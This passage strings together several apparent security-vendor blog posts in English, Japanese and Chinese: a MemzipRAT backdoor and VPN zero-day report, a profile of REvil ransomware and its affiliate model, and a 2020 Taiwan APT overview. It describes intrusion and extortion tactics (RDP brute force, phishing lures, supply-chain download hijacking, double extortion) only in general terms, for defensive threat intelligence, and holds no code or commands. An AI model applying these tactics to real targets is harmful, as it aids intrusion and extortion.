- 必要でない限り、IE ブラウザを使用しない

## 参考文献
[1] https://asec.ahnlab.com/en/19273/

[2] https://asec.ahnlab.com/en/21189/

 


*画像のソース: [Pixabay](https://pixabay.com/illustrations/browser-web-www-computer-773273/)

タイトル：終わりの見えないランサムウェア、手に負えない IE

TeamT5 recently discovered two installers of a newly identified backdoor which we named MemzipRAT. The backdoor is named after an embedded string "get module from cmd memzip : %d" inside the PE files.

## About TeamT5's Research Findings

With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc.

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities, including Korean government agencies [1], recently. It is highly possible that they deployed their new malware by the new vulnerability in this case as well. 

 

Yet, there are two key factors that might pull the trigger of massive intrusions:

1. VPN vulnerability

 The VPN market in 2020 is USD $30 billion worldwide. That is, the market is huge and has multiple players inside. It could be a starting point for actors to infiltrate various corporations not only in South Korea, but to the whole world.
 
2. Sectors involved

 As the identified target involved in crucial sectors, such as IT, it has a great chance to affect hundreds of entities in a short period.

 

We strongly advise everyone to take careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

## Reference

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

 

 

*Image courtesy of [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

CloudDragon's Campaign: VPN Zero-day Vulnerability + New Backdoor

先日、TeamT5は新たに特定されたバックドアからなるインストーラーを2つ発見し、MemzipRATと名付けました。このバックドアの名前は、PEファイル内に埋め込まれた文字列「get module from cmd memzip : %d」に由来しています。

## TeamT5の調査結果

さらなる調査の結果、この攻撃は航空宇宙分野に属する韓国企業を狙ったものだと当社では考えています。この韓国企業は、航空宇宙、化学、金融、ITなどを手掛ける韓国のトップ10に入る複合企業の1社です。

実際、CloudDragonは最近になって、VPNの脆弱性を利用して、韓国政府機関 [1]を含めた多数の事業体を攻撃したことで非難を受けています。今回も新たな脆弱性を利用して、新たなマルウェアを展開した可能性が高いと考えています。

 

しかしながら、これらの攻撃には、大規模な侵入の引き金となるかもしれない重大な要因が2つ存在します。

1. VPNの脆弱性

 2020年のVPN市場は、全世界で300億米ドルとなりました。つまり市場は非常に巨大であり、複数のプレーヤーが存在します。韓国だけでなく、全世界の様々な企業に脅威アクターが潜入するための開始点となる可能性があります
 
2. ターゲットとなる分野

 特定されたターゲットにはITなどの重要な分野が含まれているため、短期間に数百社にものぼる企業に影響を与える可能性があります。

 

今回のCloudDragonの攻撃は、サプライチェーンに対する深刻な攻撃へとつながる恐れがあるため、十分な注意が必要です。

## 参考文献

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

 

 

**画像のソース: [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

CloudDragonの攻撃：VPNゼロデイ脆弱性 ＋ 新しいバックドア

In March 2021, another REvil's attack was announced. Targeting the computer giant Acer, the actors behind the ransomware asked for 50 million dollars, the highest ransom they have demanded so far. Acer was not the only victim of the notorious ransomware. Debuted in April 2019, REvil has attacked hundreds of high-profile agencies in multiple sectors. In 2020, REvil has earned more than 100 million.[1] In this report, we will introduce the basic profile of REvil and share the techniques they used in operations. 


## What is REvil 

REvil, a.k.a Sodinokibi, is a Ransomware as a Service (RaaS) operation deployed by a Russian cybercrime group named GOLD SOUTHFIELD or Pinchy Spider. The group is believed to be based in Russia, as it does not attack organizations in Post-Soviet States, and refuse to cooperate with English speaking cyber criminals.[2] 

REvil was highly possible the successor of GandCrab, another notorious ransomware, because of code similarities and REvil's active operations right after GandCrab's retirement.[3]

![REvil_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845336/R_Evil_1_035a848033.png)
_Figure 1: The timeline of REvil's appearance and GandCrab's retirement_

 

![REvil_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_2_804b2676dc.png)
_Figure 2: REvil and GandCrab's similarity on string decoding_

 

![REvil_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_3_e9724a2992.png)
_Figure 3: REvil and GandCrab's similarity on building ransom wallpaper_

 

Numerous campaigns attacking multiple sectors were observed all over the world. The REvil actors has attacked local governments, giant law firms, multinational retailers, etc. The highest ransom they have asked was 42 million for the law firm but was now surpassed by the 50 million Acer attack. (References for the events, please see the end of this page.[4])

 

![REvil__4.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_4_56bc894487.jpg)
_Figure 4: The timeline of REvil's notorious attacks_

 

## The Ransomware as a Service model (RaaS)

The actors of REvil adopt the Ransomware as a Service business model. In this model, Ransomware developers are responsible for development and maintenance of the ransomware, while the groups of cyber criminals, named affiliates in this model, are responsible for accessing victims' system to distribute the ransomware. The business model allows cyber criminals who are not capable of developing their own ransomware to buy the service on dark web and deploy ransomware attack. 
 
Through this model, REvil actors provide REvil or the customized version of REvil to their affiliates. After they successfully breached victims' systems, REvil actors will ask for ransom by themselves, providing the ransom payment link. After the collection of money, their affiliates will receive 60% to 75% of the profit. Moreover, the actors also provide other paid services, such as money laundering assistance for the affiliates. 

![May_blog_3.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620634812/May_blog_3_71c24e74f2.jpg)

 

## Tactic, Techniques and Procedures
### Initial Access
For REvil, different affiliates may use different methods for initial access. The ransomware is now distributed primarily through compromised RDP sessions (65%), phishing (16%), and software vulnerabilities (8%).[5] However, a supply chain attack distributing REvil was also observed.

REvils' actors said in an interview that they used brute force attacks to compromise RDP sessions.[1] As for phishing emails, the cyber criminals have once disguised their email as a new booking from "booking.com". They also exploit vulnerabilities. In fact, REvil's debut was exploiting the Oracle Weblogic vulnerability, CVE-2019-2725. Moreover, the actors are able to deploy new vulnerabilities after its disclosure. For example, the group used the recent disclosed Microsoft Exchange server vulnerability to access Acer's system.

The most astounding technique they deployed is supply chain attack. Around June 2019, a WINRAR distributor site in Italy was hacked.[6][7] The software downloaded from the site at that time was not the WINRAR installer but the REvil installer. Although no public announcements showing that any company was infected in this attack, the successful replacement shows that their affiliates were able to deploy a supply chain attack. 

Apart from their various method on initial access, the cyber criminals also adopted several unique techniques. For example, REvil used Elliptic-curve Diffie-Hellman key exchange to encrypt files, while other ransomware often used RSA, Salsa20 or AES to do so. This method is more efficient as it used shorter key and is difficult to decrypt. 

 

## The Effective Methods for Ransom Collection
Nowadays, as ransomware attacks become a serious problem, most companies have learned to back up crucial data in case they are hit by a ransomware. However, ransomware actors develop several new methods to ensure that the victims will pay the ransom, including Double-extortion, VoIP calling, and DDoS attack.

- "Double-extortion"
 
The actors disclose or sell the data of the company if the company is not willing to pay ransom. This method was first introduced by Maze, another notorious ransomware, and currently almost all ransomware actors have adopted this method, and so as REvil. Starting from January 2020, the group runs their own site "Happy Blog", where they post data extorted from their victims.

- Voice over Internet Protocol (VoIP) calling
 
In February 2021, they announced that they are now offering Voice over Internet Protocol (VoIP) calling and DDoS attack service for their affiliates to make pressure on their victims.[8] They stated that they will call the media or their victims' business partners, telling them about the attack. 

 

## Detect and Defense
For prevention, it is always crucial to be aware of spamming emails. Nowadays, spamming emails is still the most popular and effective method to access victims' computers. 

In addition, keep an eye on new exploits and updates is also important. Ransomware groups usually are not capable of discovering 0-day exploits by themselves, but they will exploit the disclosed vulnerabilities and attack those who have not updated their system. Thus, keep computers updated and patched systems immediately after the disclosure is essential for preventing ransomware attack.

Furthermore, as the REvil business grows, the actors behind has posted on dark web to recruit more affiliates for their operations. Thus, more attacks from the group is expected. TeamT5 will keep following the ransomware and provide up-to-date information of the notorious ransomware.

To efficiently prevent ransomware attacks, TeamT5 offers a total solution for enterprise protection. Our unique ransomware containment technology is proven to successfully block many types of ransomware, which can detect and stop malicious ransomware immediately. And even restore encrypted files from the backup.

For more information about TeamT5 Ransomware Prevention total solution, please contact: <sales@teamt5.org>

 

## References

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advintel.io/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/


*Image courtesy of [Pixabay](https://pixabay.com/)

Introducing The Most Profitable Ransomware REvil

2021年3月、再びREvilによる攻撃が発表されました。コンピューター大手Acerを標的にしたこのランサムウェア攻撃では、これまでに要求された身代金の中でも最も高額となる5000万ドルが要求されました。この悪名高いランサムウェアの被害者は、Acerだけには留まりません。2019年4月に初めて登場したREvilは、複数の分野にまたがって数百社にのぼる著名な機関を攻撃しています。2020年には、REvilは1億ドル以上を稼ぎ出しています。[1] 本レポートでは、REvilの基本的な特徴とともに、使用されているテクニックについてもご紹介します。

## REvilとは 

REvilの別名は「Sodinokibi」であり、ロシアのサイバー犯罪グループであるGOLD SOUTHFIELDあるいはPinchy Spiderによって展開されたRansomware as a Service（RaaS）オペレーションです。ポストソビエト諸国にある組織は攻撃しておらず、英語圏のサイバー犯罪者への協力を拒否していることから、このグループはロシアを拠点としていると考えられています[2]。 

REvilは、同じく悪名高いランサムウェアであるGandCrabの後継である可能性が高いと思われます。コードに類似点があり、GandCrabが引退した直後にREvil攻撃が活発化したからです[3]。


![introducing-the-most-profitable-ransomware-revil_JP_figure1.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure1.png)
_図1：REvilの登場とGandCrabの引退の時系列_

 

![REvil_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_2_804b2676dc.png)
_図2：REvilとGandCrabの文字列解読に見られる類似性_

 

![REvil_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_3_e9724a2992.png)
_図3：REvilとGandCrabの身代金用の壁紙の構築に見られる類似点__

 

複数の事業分野に対する攻撃キャンペーンが世界中で数多く観測されました。REvilの脅威アクターは、地方自治体、大手法律事務所、多国籍小売業者などを標的として攻撃しています。要求された身代金の最高額は法律事務所に対する4200万ドルでしたが、今回のAcerに対する攻撃では、それを上回る5000万ドルという金額が要求されています。（この事象に関する参考文献については、本ページの末尾を参照。[4]）

 

![introducing-the-most-profitable-ransomware-revil_JP_figure4.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure4.png)
_図4：REvilの悪名高い攻撃の時系列_

 

## サービスとしてのランサムウェアモデル（RaaS：Ransomware as a Service model）

REvilを使った脅威アクターは、「サービスとしてのランサムウェア」のビジネスモデルを採用しています。このモデルでは、ランサムウェア開発者はランサムウェアの開発と保守を担当し、このモデルではアフィリエイトと呼ばれるサイバー犯罪者集団が被害者のシステムにアクセスしてランサムウェアを配布する役割を担っています。このビジネスモデルでは、自分自身でランサムウェアを開発できないサイバー犯罪者が、ダークウェブでサービスを購入し、ランサムウェア攻撃を展開することができます。
 
このモデルを通じて、REvilの脅威アクターはREvilあるいはREvilのカスタマイズされたバージョンをアフィリエイトに提供します。被害者のシステムに首尾よく侵入した後、REvilの脅威アクターは身代金の支払いリンクを提供し、自らで身代金の支払いを要求します。集金後、アフィリエイトには利益の60%～75%が支払われます。それだけでなく、こういった脅威アクターは、アフィリエイトに対してマネーロンダリングを支援するなどの有料サービスも行っています。

![introducing-the-most-profitable-ransomware-revil_JP_figure5.png](https://uploads.teamt5.org/upload/original/introducing-the-most-profitable-ransomware-revil_JP_figure5.png)

 

## 戦術とテクニック、そしてその手順
### 初期アクセス
REvilの場合、アフィリエイトによって初期アクセスの方法が異なる可能性があります。現在、このランサムウェアは、主に侵害されたRDPセッション（65%）、フィッシング攻撃（16%）、およびソフトウェアの脆弱性（8%）によって配布されています。[5] しかしながら、Revilを配布するサプライチェーン攻撃も確認されています。

REvilsの脅威アクターは、RDPセッションを侵害するにあたりブルートフォース攻撃を仕掛けたとインタビューで語っています。[1] フィッシングメールに関しては、サイバー犯罪者が一度、メールを「booking.com」からの新しい予約案内に見せかけていたことがわかっています。脆弱性を突くこともあります。実際、REvilの初めての攻撃は、Oracle Weblogicの脆弱性である「CVE-2019-2725」を突いたものでした。それだけでなく、脅威アクターは、公開後に新たな脆弱性を展開することもできます。例えば、犯罪グループは、最近公開されたMicrosoft Exchangeサーバーの脆弱性を利用して、Acerのシステムにアクセスしています。

展開された中でも、最も驚くべき手法であったのがサプライチェーン攻撃です。2019年6月頃、イタリアのWINRAR販売サイトがハッキングされました。[6][7] このときサイトからダウンロードされたソフトウェアは、WINRARインストーラーではなく、REvilインストーラーでした。この攻撃によって企業が感染したことを示す公表はありませんでしたが、ファイルの交換に成功していたという事実から、アフィリエイトがサプライチェーン攻撃の展開に成功したことを示しています。

初期アクセス時の様々な手口だけではなく、サイバー犯罪者は様々な独自のテクニックも採用しています。例えば、REvilでは楕円曲線ディフィー・ヘルマン鍵共有を使用してファイルを暗号化していましたが、他のランサムウェアでは、RSA、Salsa20またはAESを使用して暗号化されていることがよくあります。この方法は、鍵が短くなり解読が困難になることから、より効率的な方法と言えます。

 

## 身代金を回収するための効果的な方法
昨今では、ランサムウェア攻撃が深刻な問題となっているため、ほとんどの企業がランサムウェアの被害に遭った場合に備えて重要なデータをバックアップすることを学んでいます。しかしながら、ランサムウェアの脅威アクターは、被害者に確実に身代金を支払わせるため、二重の脅迫、VoIPコール、DDoS攻撃などの複数の新たなメソッドを開発しています。

- 「二重の脅迫」
 
企業が身代金の支払いに応じない場合、脅威アクターは企業のデータを開示するか売却します。このメソッドは、もう一つの悪名高いランサムウェアであるMazeが最初に導入したやり方で、現在ではほとんどすべてのランサムウェアの脅威アクターがこの方法を採用しており、REvilもその一つです。2020年1月以降、このグループは被害者から奪ったデータを掲載するための自社サイト「Happy Blog」を運営しています。

- VoIP（Voice over Internet Protocol）コール
 
2021年2月には、被害者に圧力をかけるため、アフィリエイト向けにVoIP（Voice over Internet Protocol）コールとDDoS攻撃サービスをしかけると発表しました。[8] 彼らはメディアや被害者の取引先に電話をかけて、攻撃について伝えると述べています。

 

## 検出と防御
防止するためには、スパムメールに常に注意することが不可欠です。現在も、スパムメールが被害者のコンピューターにアクセスする最も一般的かつ効果的な方法となっています。

さらに、新たな悪用やアップデートに目を向けることも重要です。ランサムウェア攻撃グループは通常、自分たちでゼロデイ攻撃を発見する能力はありませんが、公開された脆弱性を悪用し、システムをアップデートしていない人に向けて攻撃をしかけます。従って、ランサムウェア攻撃を防止するためには、公開後はすぐにコンピューターを更新し、システムにパッチを当てることが不可欠です。

さらに、REvilの攻撃ビジネスが成長する中で、背後にいる脅威アクターはダークウェブに掲載し、操れるより多くのアフィリエイトを募集しています。ですから、このグループからの攻撃はさらに増えることが予想されます。TeamT5では、引き続きこのランサムウェアの追跡調査を続け、今後もこの悪名高いランサムウェアの最新情報を提供していきます。

ランサムウェア攻撃を効率的に防ぐために、TeamT5では企業向けのトータル保護ソリューションを提供しています。当社独自のランサムウェア封じ込め技術は、多くの種類のランサムウェアのブロックに成功した実績があり、悪質なランサムウェアを即座に検知して停止させることができます。さらに、バックアップから暗号化されたファイルを復元することも可能です。

TeamT5のランサムウェア防止トータルソリューションの詳細については、こちらからお問い合わせください：<sales@teamt5.org>

 

## 参考文献

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advintel.io/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/


*画像のソース: [Pixabay](https://pixabay.com/)

最も収益性の高いランサムウェア「REvil」

**By TeamT5 CTO Charles Li**

2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts escalations in several areas, Brexit, and the U.S. president election, all influenced people around the world. In 2020, TeamT5 continued helping numerous security breaches caused by state sponsored targeted instruction attacks (APT) . In the meantime, TeamT5 intelligence Team proactively tracked APT actors’ new activities. Compared with real world, the cyber world was also full of turmoil in 2020 and many of them are reflections or extensions to events in real world. In this article, we will discuss our observation of APT trends in Taiwan in 2020.

In this article, we will first walk you through some remarkable trends, including:

- Evolution of APT tactic
- Supply Chain attack became a primary method in APT attacks
- COVID-19 driven cyber attacks

We will try to dissect the attacks happened in Taiwan in industrial view and adversarial view, which is a common method in threat intelligence analysis. Last part will be our conclusion and suggestions to respond with APT attacks.

 

## Evolution of APT tactic

In 2020, the most notable APT event in public would be the ransom-attack that strike several energy related companies in May [1]. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it has marked a milestone of China’s cyber-attacks against Taiwan: Chinese APT have aimed Taiwan for more than 20 years but only limited in cyber espionage operations in the past but the threat actors are now exercising new tactics to evade us.

Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to some scandals, with attempts to uglify Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5 intelligence database shows that one of the source IP address was also used by a Chinese APT that has targeted Taiwan for more than ten years. Besides, another private source also verified the same APT group to be the culprit behind the attack. We consider both events to be indicators of China’s expansion on offensive cyber operations, which we have not observed in the past.

 

## Supply Chain attack becoming a primary method in APT attacks

Supply chain attack has become a major intrusion method for threat actors in 2020 and TeamT5 had warned such tactic in advance [2]. SolarWinds breach was undoubtedly the most successful story among them. Many high-profile US government agencies, Fortune 500 companies and even cybersecurity vendors were affected. It is so sophisticated that the scope is still uncertain yet. In Taiwan, we also observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two had been published by the Ministry of Justice Bureau (MJIB) of Taiwan in August [3]. The third was still under investigation and the impact could be even bigger. We have seen a significant numbers of government agencies or private corporates in Taiwan being compromised. TeamT5 research shows that at least 3 distinct China nexus group were involved in these operations.

 

## COVID-19 driven cyber attacks

Another interesting phenomenon would be COVID-19 related cyber-attacks. Soon after the outbreak of COVID-19 pandemic, we observed state sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of COVID-19 vaccine development. In Taiwan, TeamT5 also intercepted several spear phishing emails using COVID-19 as lure theme or even more campaigns related to healthcare related entities. We believe the trend will continue as long as the COVID-19 pandemic still exists.

TeamT5 Intelligence Team had analyzed around one hundred APT attacks from China in 2020. Our statistic shows government and military agencies are still the biggest target and attacks against them counts for more than 1/4 in total and almost every APT groups that are active in Taiwan are coveting them. This trend has lasted for long since the ultimate goal of Chinese espionage operation is to obtain confidential national information. Information Technology (IT) industry also got attention a lot by APT actors and TeamT5 has observed a dramatical increase of attacks against IT industry. We believe this phenomenon is a result of threat actors’ attempts to abuse supply chain attacks and IT companies are considered to be good hopping points by actors to access various industries.

The third industry being targeted in 2020 is Energy industry and TeamT5 had observed at least attacks from 5 adversary groups. It could be a sign of our adversaries’ ambitions to control our critical industries because they will be top priorities of sabotages in wartime. Education or think tanks have been long ranked as the most attacked victims because they tend to involve in classified research projects hosted by governments or political decision makings. There were several targeted attacks against companies in semiconductor industries. It makes sense since Semiconductor industry is listed as a priority to be fostered by Chinese authority in their thirteen and fourteen Five-Year projects. Cyber espionage was also adopted as a mean to improve their techniques. Healthcare and transportation are also two industries that got coveted by APT actors. As we mentioned in the previous paragraph, COVID-19 could be an incentive for APT actors to attack Healthcare industries. Lastly, we would like to raise a phenomenon TeamT5 observed: There was an adversary group which we called GouShe (a.k.a TroppicTropper, Keyboy) focus on infiltrating Transportation related entities in Taiwan. More than 70% of transportation related cases we observed were from this specific group.

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 APT target industries distribution_

 

TeamT5 has tracked activities from at least 9 APT groups and 8 of them are from China. HUAPI (a.k.a BlackTech/PLEAD) was definitely the most ambitious group in Taiwan. Their attacks counts around 30% of incidents we analyzed and the targeting scope includes almost all the industries we listed. The supply chain attacks we mentioned in previous paragraphs were also conducted by them. APT27 (a.k.a EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe and AMOEBA (a.k.a APT41, Barium, Winnti) are groups that are quite active in 2020. APT27 was mostly attacking government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation related entities while their footprints are also observed in energy and government entities. TeamT5 has tracked this group for many years. Our research shows that the actors might bear some responsibility from their higher commands to monitor some critical infrastructure facilities in Taiwan and take control of them in case of emergency status.

AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies. Their primary goal appears to be more for intellectual property or secret theft. But the possibilities exist that the actor might further leverage their achievement, like what they did in the ransom-attack in May. SLIME1, SLIME9 and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years. Their activities still continued in 2020. Polaris (a.k.a MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in early stage of COVID-19 and we surmise they were gathering for information related to pandemic. One last interesting discovery: we discovered some Linux based malware used by Lazarus, a notorious North Korean APT group, circulated in Taiwan but we are unable to obtain the victim identity information. Although Taiwan is not a primary target of North Korean APT. But the Lazarus actors are believed to bear financial supporting responsibilities for their government agencies. For example, Lazarus is believed to be the culprit behind a Taiwanese bank SWIFT heist in 2017 [4]. The sample we uncovered might suggest their activities still exist in Taiwan.

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_Adversaries attacking Taiwan in 2020_

 

## Conclusion

The purpose of this article is to provide a high-level overview of APT threat landscape of Taiwan in 2020, since TeamT5 believes knowing your enemy is the first step of effective defense. TeamT5 research shows that APT attacks keep evolving to become very complex and impossible for a security product to defend. TeamT5 has a cyber threat intelligence (CTI) centered solution, [ThreatVision](https://teamt5.org/en/products/threatvision/), and we rely on a dedicated team of security experts to keep us steps ahead of threat actors. Feel free to contact TeamT5 in case you want to know more about our products, solutions or discuss about threats you are facing.

> Contact us: <sales@teamt5.org>

 

### Reference

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

APT Threat Landscape of Taiwan in 2020

**By TeamT5 杜浦數位安全 技術長 李庭閣 Charles Li**

2020 年被公認為充滿混亂與災禍的一年。各式各樣的大事件諸如新冠肺炎、中亞東歐台海等地的地緣政治衝突、英國脫歐、美國總統大選都將世界各地的人們帶向跟過去截然不同的生活。TeamT5 在過去一年中持續幫助受到國家力量支持的針對性攻擊行動（或稱 APT 攻擊）所受害的單位。同時間 TeamT5 的威脅情資團隊也主動追蹤 APT 攻擊者的各類行蹤。跟真實世界相比較，網路世界的混亂情況並不亞於我們於現實世界所見，同時網路世界的衝突有很大一部份是真實世界的映射或延伸。本篇文章將探討 TeamT5 在 2020 年所觀察到的台灣威脅態勢。

在本篇文章中，我們首先會為您介紹我們在 2020 年所觀察到的重大趨勢，包含了：

- APT 攻擊的演進，網路間諜不再是唯一的攻擊手段
- 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一
- 由新冠肺炎所引發的網路攻擊

接著我們會針對所觀察到的攻擊行動進行分析，試圖以產業別以及攻擊族群視角來進行網路威脅情資的剖析。文章的最後則是我們對如何應對網路攻擊不斷變化的建議作為總結。

 

## 網路間諜不再是唯一的攻擊手段

2020 年所公開的網路攻擊中，影響最深遠的當數中國 APT 攻擊者於五月時針對多個能源產業公司所進行的勒索軟體攻擊 [1]。TeamT5 研究顯示，這是一個來自中國惡名昭彰的 APT 攻擊族群，規畫已久的攻擊行動。這個行動究竟是攻擊者單純以獲取金錢為目的所發起的勒索行動，抑或是以勒索軟體為掩護的政治嚇阻行動（時值 520 台灣總統上任前），背後的答案依舊成謎。無論如何，本次的攻擊行為已為中國對台 APT 攻擊行動劃下新的里程碑：中國 APT 已針對台灣進行二十年以上的攻擊，但行動範圍都維持在竊取機密為目的而進行的網路間諜行動，這次攻擊意味著攻擊者將開始採用更多元的戰術來對台灣進行網路打擊行動。

另一個發生在 PTT BBS 論壇上的攻擊行動可以佐證我們的臆測：在 2020 年七月，TeamT5 追蹤了一連串的 BBS 爆料貼文，試圖詆毀台灣政府與軍方的形象，攻擊者使用了多個境外跳板 IP 位址來試圖隱藏他們的來源，然而 TeamT5 的情資資料庫顯示，其中一個來源 IP 曾被某個鎖定台灣已久的 APT 攻擊族群所使用；無獨有偶，我們也獲得某訊息來源指出，該 APT 族群正是隱身在此次行動背後的攻擊者。我們相信這兩個事件正是一個警訊，告訴我們中國 APT 族群正在嘗試各種過去沒使用過的手法來做更多樣性的攻擊行動。

 

## 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一

TeamT5 曾在過去示警過供應鏈攻擊手法的危險性 [2]，研究顯示它在 2020 年已經成為 APT 攻擊的一種主要入侵手法之一：2020 年十二月被揭露的 SolarWinds/SUNBURST 攻擊行動無疑是當前最成功的案例之一，受害目標包含了許多美國高層政府部門，全球前五百大公司，甚至數個資安廠商本身也在本次攻擊中被攻擊者攻陷，它的手法精細而行動縝密，以致於目前仍無法掌握整個攻擊全貌。在台灣，TeamT5 也觀察到至少三波的攻擊行動使用了類似的手法：攻擊者先針對服務供應商進行滲透，再進一步利用供應商的產品或服務當跳板來直接進入終端用戶，包含政府部門或其他各產業的公司。前兩波的攻擊行動已於八月間被法務部調查局所公開揭露 [3]，而第三波攻擊行動仍在調查中。我們目前已觀察到數十家甚至上百的台灣公私單位被這些行動所成功滲透，而且至少有三個來自中國的 APT 族群參與其中。

 

## 由新冠肺炎所引發的網路攻擊

第三個攻擊趨勢則為新冠肺炎所趨使的網路攻擊行動。隨著新冠肺炎疫情爆發數週內，TeamT5 就觀察到有國家支持的網路攻擊者開始疫情相關的情報蒐集；隨著時序進入下半年，攻擊者的目標開始轉向疫苗發展資訊的蒐集，可以看出網路攻擊行動隨著現實世界改變的趨勢。在台灣，TeamT5 也分析了數個以新冠疫情為主題所進行的攻擊行動，甚至有數波針對醫療相關部門的針對性攻擊行動。我們相信只要疫情尚未消散的一天，相關的攻擊行動就會持續進行。

TeamT5 威脅情資團隊在 2020 年分析了近百個來自中國的 APT 攻擊。統計結果顯示，政府和軍方部門仍為最大的攻擊目標，相對應的攻擊事件超過了總數的四分之一，幾乎每個在台灣地區有活動的 APT 族群都會嘗試攻擊相關部門，主要的原因在於 APT 的主要目標是獲取國家相關的機密情資。值得注意的是，針對資訊產業的攻擊在 2020 年躍升為第二大，顯示 APT 攻擊對資訊公司的高度興趣，主要的原因應與前述的供應鏈攻擊趨勢有關：這些資訊產業公司往往同時服務許多客戶並橫跨不同部門產業，攻陷這些資訊公司提供攻擊者一個絕佳的跳板來進一步滲透終端客戶。

